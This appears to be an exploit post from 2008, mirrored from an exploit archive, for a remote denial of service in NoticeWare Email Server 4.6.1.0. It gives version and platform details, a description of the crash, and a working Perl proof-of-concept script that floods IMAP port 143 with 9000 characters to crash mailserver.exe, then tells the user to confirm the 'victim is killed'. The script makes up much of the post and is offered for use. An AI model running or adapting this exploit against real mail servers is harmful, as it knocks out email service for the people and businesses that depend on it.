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Noticeware Email Server 4.6.1.0 Denial of Service Exploit
========================================================= Noticeware Email Server 4.6.1.0 Denial of Service Exploit ========================================================= #NoticeWare Email Server #Application: Noticeware Email Server #Version: 4.6.1.0 (NoticeWare Email Server) #Bugs: Denial Of Service/ Remote Crash #Exploitation: Remote #Date: 1st April 2008 #Author: Ray #Email: native19@gmail.com #Platforms: Tested on XP/2003 #Taken from : http://www.noticeware.com/noticemail.htm #"The NoticeWare? Email Server NG is a high performance, multi-threaded email server for Windows #2000/2003/XP/Vista which supports IMAP/POP3 and SMTP protocols. Whether you are hosting your own email or #collecting mail from your ISP, the NoticeWare? Email Server will provide everything you need to run a #secure and dependable email system. Ideal for any size of business." ########################################################################################################## #1) Denial Of Service #Denial of service occurs when the mailserver.exe crashes after receiving huge number of characters in #IMAP port 143 [ECX =0000000,DL = ??] , the admin application will still be running but if user clicked #on Send/Receive or any other buttons the application will crash . ########################################################################################################## #A Simple POC by Ray, dont forget to change the host address use IO::Socket; print "\n++ NoticeWare DOS"; print "\n++ Initiating"; my $sock = new IO::Socket::INET ( PeerAddr => '192.168.2.7', PeerPort => '143', Proto => 'TCP', ); die "Could not initiate connection $!\n" unless $sock; print $sock "A" x 9000 . "\n"; print "\n++ Have to wait for a few seconds before closing the socket"; sleep(6); close ($sock); print "\n++ NC and check if the victim is killed \r\n"; # 0day.today [2024-10-05] #